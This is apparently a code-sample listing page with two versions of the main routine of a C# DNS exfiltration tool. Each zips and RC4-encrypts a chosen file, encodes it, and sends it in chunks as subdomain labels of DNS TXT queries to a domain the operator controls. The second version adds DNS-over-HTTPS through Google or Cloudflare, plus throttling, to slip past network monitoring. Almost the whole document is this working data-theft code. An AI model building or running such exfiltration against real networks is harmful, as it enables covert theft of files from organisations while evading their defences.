コード例 #1
0
        //------------------------------------------------------------------------------------
        // MAIN FUNCTION
        //------------------------------------------------------------------------------------
        public static void Main(string[] args)
        {
            // Variables
            string filePath   = String.Empty;
            string domainName = String.Empty;
            string password   = String.Empty;

            string fileName       = String.Empty;
            string dnsServer      = null;
            int    throttleTime   = 0;
            string data           = String.Empty;
            string request        = String.Empty;
            int    requestMaxSize = 255;       // DNS request max size = 255 bytes
            int    labelMaxSize   = 63;        // DNS request label max size = 63 chars

            //--------------------------------------------------------------
            // Perform arguments checking
            if (args.Length < 3)
            {
                PrintColor("[!] Missing arguments");
                PrintUsage();
                return;
            }

            filePath   = args[0];
            domainName = args[1];
            password   = args[2];
            fileName   = Path.GetFileName(filePath);

            if (!File.Exists(filePath))
            {
                PrintColor(String.Format("[!] File not found: {0}", filePath));
                return;
            }

            // Do we have additionnal arguments ?
            if (new[] { 4, 5, 6, 7 }.Contains(args.Length))
            {
                int i = 3;
                int param;
                while (i < args.Length)
                {
                    if (args[i].StartsWith("s="))
                    {
                        dnsServer = args[i].Split('=')[1];
                        PrintColor(String.Format("[*] Working with DNS server [{0}]", dnsServer));
                    }
                    else if (args[i].StartsWith("t="))
                    {
                        throttleTime = Convert.ToInt32(args[i].Split('=')[1]);
                        PrintColor(String.Format("[*] Setting throttle time to [{0}] ms", throttleTime));
                    }
                    else if (args[i].StartsWith("r="))
                    {
                        param = Convert.ToInt32(args[i].Split('=')[1]);
                        if (param < 255)
                        {
                            requestMaxSize = param;
                        }
                        PrintColor(String.Format("[*] Setting DNS request max size to [{0}] bytes", requestMaxSize));
                    }
                    else if (args[i].StartsWith("l="))
                    {
                        param = Convert.ToInt32(args[i].Split('=')[1]);
                        if (param < 63)
                        {
                            labelMaxSize = param;
                        }
                        PrintColor(String.Format("[*] Setting label max size to [{0}] chars", labelMaxSize));
                    }
                    i++;
                }
            }

            //--------------------------------------------------------------
            // Compress the file in memory
            PrintColor(String.Format("[*] Compressing (ZIP) the [{0}] file in memory", filePath));
            using (var zipStream = new MemoryStream())
            {
                using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true))
                {
                    var entryFile = archive.CreateEntry(fileName);
                    using (var entryStream = entryFile.Open())
                        using (var streamWriter = new BinaryWriter(entryStream))
                        {
                            streamWriter.Write(File.ReadAllBytes(filePath));
                        }
                }

                zipStream.Seek(0, SeekOrigin.Begin);
                PrintColor(String.Format("[*] Encrypting the ZIP file with password [{0}], then converting it to a base64 representation", password));
                data = Encode(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray()));
                PrintColor(String.Format("[*] Total size of data to be transmitted: [{0}] bytes", data.Length));
            }

            //--------------------------------------------------------------
            // Compute the size of the chunk and how it can be split into subdomains (labels)
            // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873

            // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number:
            // <chunk_number>.<data>.<data>.<data>.domainName.
            int bytesLeft = requestMaxSize - 10 - (domainName.Length + 2);           // domain name space usage in bytes

            int nbFullLabels      = bytesLeft / (labelMaxSize + 1);
            int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1;
            int chunkMaxSize      = nbFullLabels * labelMaxSize + smallestLabelSize;
            int nbChunks          = data.Length / chunkMaxSize + 1;

            PrintColor(String.Format("[+] Maximum data exfiltrated per DNS request (chunk max size): [{0}] bytes", chunkMaxSize));
            PrintColor(String.Format("[+] Number of chunks: [{0}]", nbChunks));

            //--------------------------------------------------------------
            // Send the initial request advertising the fileName and the total number of chunks
            request = "init." + Encode(Encoding.UTF8.GetBytes(String.Format("{0}|{1}", fileName, nbChunks))) + "." + domainName;
            PrintColor("[*] Sending 'init' request");
            try {
                string[] reply = DnsResolver.GetTXTRecords(request, dnsServer);
                if (reply[0] != "OK")
                {
                    PrintColor(String.Format("[!] Unexpected answer for an initialization request: [{0}]", reply[0]));
                    return;
                }
            }
            catch (Win32Exception e) {
                PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                return;
            }

            //--------------------------------------------------------------
            // Send all chunks of data, one by one
            PrintColor("[*] Sending data...");

            string chunk      = String.Empty;
            int    chunkIndex = 0;
            int    countACK;

            for (int i = 0; i < data.Length;)
            {
                // Get a first chunk of data to send
                chunk = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i));
                int chunkLength = chunk.Length;

                // First part of the request is the chunk number
                request = chunkIndex.ToString() + ".";

                // Then comes the chunk data, split into sublabels
                int j = 0;
                while (j * labelMaxSize < chunkLength)
                {
                    request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - (j * labelMaxSize))) + ".";
                    j++;
                }

                // Eventually comes the top level domain name
                request += domainName;


                // Send the request
                try {
                    string[] reply = DnsResolver.GetTXTRecords(request, dnsServer);
                    countACK = Convert.ToInt32(reply[0]);

                    if (countACK != chunkIndex)
                    {
                        PrintColor(String.Format("[!] Chunk number [{0}] lost.\nResending.", countACK));
                    }
                    else
                    {
                        i += chunkMaxSize;
                        chunkIndex++;
                    }
                }
                catch (Win32Exception e) {
                    PrintColor(String.Format("[!] Unexpected exception occured: [{0}]", e.Message));
                    return;
                }

                // Apply throttle if requested
                if (throttleTime != 0)
                {
                    Thread.Sleep(throttleTime);
                }
            }

            PrintColor("[*] DONE !");
        }         // End Main
コード例 #2
0
        // MAIN FUNCTION
        public static void Main(string[] args)
        {
            // Parameters
            bool   useBase32    = false;        // Whether or not to use Base32 for data encoding
            bool   useDoH       = false;        // Whether or not to use DoH for name resolution
            string dohProvider  = string.Empty; // Which DoH server to use: google or cloudflare
            string dnsServer    = null;
            int    throttleTime = 0;
            string data;
            string request;
            int    requestMaxSize = 255; // DNS request max size = 255 bytes
            int    labelMaxSize   = 63;  // DNS request label max size = 63 chars

            // Perform arguments checking
            if (args.Length < 3)
            {
                PrintColor("[!] Missing arguments");
                PrintUsage();
                return;
            }

            string filePath   = args[0];
            string domainName = args[1];
            string password   = args[2];
            string fileName   = Path.GetFileName(filePath);

            if (!File.Exists(filePath))
            {
                PrintColor($"[!] File not found: {filePath}");
                return;
            }

            // Do we have additional arguments?
            if (new[] { 4, 5, 6, 7 }.Contains(args.Length))
            {
                int i = 3;
                while (i < args.Length)
                {
                    if (args[i].StartsWith("s="))
                    {
                        dnsServer = args[i].Split('=')[1];
                        PrintColor($"[*] Working with DNS server [{dnsServer}]");
                    }
                    else if (args[i].StartsWith("t="))
                    {
                        throttleTime = Convert.ToInt32(args[i].Split('=')[1]);
                        PrintColor($"[*] Setting throttle time to [{throttleTime}] ms");
                    }
                    else
                    {
                        int param;
                        if (args[i].StartsWith("r="))
                        {
                            param = Convert.ToInt32(args[i].Split('=')[1]);
                            if (param < 255)
                            {
                                requestMaxSize = param;
                            }
                            PrintColor($"[*] Setting DNS request max size to [{requestMaxSize}] bytes");
                        }
                        else if (args[i].StartsWith("l="))
                        {
                            param = Convert.ToInt32(args[i].Split('=')[1]);
                            if (param < 63)
                            {
                                labelMaxSize = param;
                            }
                            PrintColor($"[*] Setting label max size to [{labelMaxSize}] chars");
                        }
                        else if (args[i].StartsWith("h="))
                        {
                            dohProvider = args[i].Split('=')[1];
                            if (dohProvider.Equals("google") || dohProvider.Equals("cloudflare"))
                            {
                                if (dohProvider.Equals("cloudflare"))
                                {
                                    useBase32 = true;
                                }
                                useDoH = true;
                                PrintColor("[*] Using DNS over HTTP for name resolution.");
                            }
                            else
                            {
                                PrintColor("[!] Error with DoH parameter.");
                                PrintUsage();
                                return;
                            }
                        }
                        else if (args[i] == "-b32")
                        {
                            useBase32 = true;
                        }
                    }

                    i++;
                }
            }

            // Compress and encrypt the file in memory
            PrintColor($"[*] Compressing (ZIP) the [{filePath}] file in memory");
            using (MemoryStream zipStream = new MemoryStream())
            {
                using (var archive = new ZipArchive(zipStream, ZipArchiveMode.Create, true))
                {
                    var entryFile = archive.CreateEntry(fileName);
                    using (var entryStream = entryFile.Open())
                        using (BinaryWriter streamWriter = new BinaryWriter(entryStream))
                        {
                            streamWriter.Write(File.ReadAllBytes(filePath));
                        }
                }

                zipStream.Seek(0, SeekOrigin.Begin);
                PrintColor($"[*] Encrypting the ZIP file with password [{password}]");

                // Should we use base32 encoding?
                // CloudFlare requires it because of Knot server doing case randomization which breaks base64
                if (useBase32)
                {
                    PrintColor("[*] Encoding the data with Base32");
                    data = ToBase32(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray()));
                }
                else
                {
                    PrintColor("[*] Encoding the data with Base64URL");
                    data = ToBase64Url(RC4Encrypt.Encrypt(Encoding.UTF8.GetBytes(password), zipStream.ToArray()));
                }

                PrintColor($"[*] Total size of data to be transmitted: [{data.Length}] bytes");
            }

            // Compute the size of the chunk and how it can be split into subdomains (labels)
            // https://blogs.msdn.microsoft.com/oldnewthing/20120412-00/?p=7873
            //
            // The bytes available to exfiltrate actual data, keeping 10 bytes to transmit the chunk number:
            // <chunk_number>.<data>.<data>.<data>.domainName.
            int bytesLeft         = requestMaxSize - 10 - (domainName.Length + 2); // domain name space usage in bytes
            int nbFullLabels      = bytesLeft / (labelMaxSize + 1);
            int smallestLabelSize = bytesLeft % (labelMaxSize + 1) - 1;
            int chunkMaxSize      = nbFullLabels * labelMaxSize + smallestLabelSize;
            int nbChunks          = data.Length / chunkMaxSize + 1;

            PrintColor($"[+] Maximum data exfiltrated per DNS request (chunk max size): [{chunkMaxSize}] bytes");
            PrintColor($"[+] Number of chunks: [{nbChunks}]");

            // Send the initial request advertising the fileName and the total number of chunks, with Base32 encoding in all cases
            if (useBase32)
            {
                request = "init." + ToBase32(Encoding.UTF8.GetBytes($"{fileName}|{nbChunks}")) + ".base32." + domainName;
            }
            else
            {
                request = "init." + ToBase32(Encoding.UTF8.GetBytes($"{fileName}|{nbChunks}")) + ".base64." + domainName;
            }

            PrintColor("[*] Sending 'init' request");

            string reply;

            try
            {
                reply = useDoH ? DOHResolver.GetTxtRecord(dohProvider, request) : DnsResolver.GetTxtRecord(request, dnsServer);
                if (reply != "OK")
                {
                    PrintColor($"[!] Unexpected answer for an initialization request: [{reply[0]}]");
                    return;
                }
            }
            catch (Win32Exception e)
            {
                PrintColor($"[!] Unexpected exception occured: [{e.Message}]");
                return;
            }

            // Send all chunks of data, one by one
            PrintColor("[*] Sending data...");

            int chunkIndex = 0;

            for (int i = 0; i < data.Length;)
            {
                // Get a first chunk of data to send
                string chunk       = data.Substring(i, Math.Min(chunkMaxSize, data.Length - i));
                int    chunkLength = chunk.Length;

                // First part of the request is the chunk number
                request = chunkIndex + ".";

                // Then comes the chunk data, split into sub-labels
                int j = 0;
                while (j * labelMaxSize < chunkLength)
                {
                    request += chunk.Substring(j * labelMaxSize, Math.Min(labelMaxSize, chunkLength - j * labelMaxSize)) + ".";
                    j++;
                }

                // Eventually comes the top level domain name
                request += domainName;

                // Send the request
                try
                {
                    reply = useDoH ? DOHResolver.GetTxtRecord(dohProvider, request) : DnsResolver.GetTxtRecord(request, dnsServer);

                    int countAck = Convert.ToInt32(reply);
                    if (countAck != chunkIndex)
                    {
                        PrintColor($"[!] Chunk number [{countAck}] lost.\nResending.");
                    }
                    else
                    {
                        i += chunkMaxSize;
                        chunkIndex++;
                    }
                }
                catch (Win32Exception e)
                {
                    PrintColor($"[!] Unexpected exception occured: [{e.Message}]");
                    return;
                }

                // Apply throttle if requested
                if (throttleTime != 0)
                {
                    Thread.Sleep(throttleTime);
                }
            }

            PrintColor("[*] DONE !");
        }